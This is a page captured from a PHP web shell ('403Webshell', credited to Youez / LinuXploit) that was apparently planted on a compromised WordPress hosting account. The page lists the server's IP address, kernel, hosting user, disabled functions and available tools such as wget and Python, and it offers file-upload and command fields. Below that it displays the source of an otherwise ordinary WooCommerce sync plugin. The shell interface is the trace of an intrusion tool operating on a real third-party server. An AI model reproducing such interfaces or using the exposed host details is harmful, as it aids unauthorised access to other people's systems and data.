403Webshell
Server IP : 185.143.233.238  /  Your IP : 185.215.232.195
Web Server : LiteSpeed
System : Linux saman.shetabanhost.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : behrakir ( 1361)
PHP Version : 8.1.34
Disable Function : symlink,shell_exec,show_source,exec,popen,system,passthru,proc_open,proc_close,pcntl_exec,mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/behrakir/khanomam.com/wp-content/plugins/sync-basalam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/behrakir/khanomam.com/wp-content/plugins/sync-basalam/sync-basalam.php
<?php

use SyncBasalam\Plugin;
use SyncBasalam\Admin\Settings\SettingsContainer;
use SyncBasalam\Activator;
use SyncBasalam\JobsRunner;
use SyncBasalam\Infrastructure\Container\AppServiceProvider;
use SyncBasalam\Infrastructure\Container\Container;

defined('ABSPATH') || exit;

/**
 * Plugin Name: sync basalam | ووسلام
 * Description: با استفاده از پلاگین ووسلام  میتوایند تمامی محصولات ووکامرس را با یک کلیک به غرفه باسلامی خود اضافه کنید‌، همچنین تمامی سفارش باسلامی شما به سایت شما اضافه میگردد.
 * Version: 1.9.1
 * Author: Woosalam Dev
 * Author URI: https://wp.hamsalam.ir/
 * Plugin URI: https://wp.hamsalam.ir
 * Text Domain: sync-basalam
 * WC requires at least: 10.0.0
 * WC tested up to: 9.9.5
 * Requires Plugins: woocommerce
 * License: GPL-2.0-or-later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html.
 */

require_once __DIR__ . '/vendor/autoload.php';

register_activation_hook(__FILE__, 'syncBasalamActivatePlugin');

add_action('before_woocommerce_init', function () {
    if (class_exists(\Automattic\WooCommerce\Utilities\FeaturesUtil::class)) {
        \Automattic\WooCommerce\Utilities\FeaturesUtil::declare_compatibility('custom_order_tables', __FILE__, true);
    }
});

if (get_option('sync_basalam_force_update')) {
    add_action('admin_notices', function () {
        $template = __DIR__ . '/templates/notifications/ForceUpdateAlert.php';
        require_once $template;
     });
    return;
}

add_action('init', 'syncBasalamPlugin');

function syncBasalamContainer()
{
    static $container = null;

    if ($container === null) {
        $container = new Container();
        $container->provider(new AppServiceProvider());
    }

    return $container;
}

//  Singleton instance of the main plugin class.
function syncBasalamPlugin()
{
    return syncBasalamContainer()->get(Plugin::class);
}

// Singleton instance of the woosalam Settings container.
function syncBasalamSettings()
{
    return syncBasalamContainer()->get(SettingsContainer::class);
}

function syncBasalamActivatePlugin()
{
    Activator::activate();
    set_transient('sync_basalam_just_activated', true, 10);
}

syncBasalamContainer()->get(JobsRunner::class);

Youez - 2016 - github.com/yon3zu
LinuXploit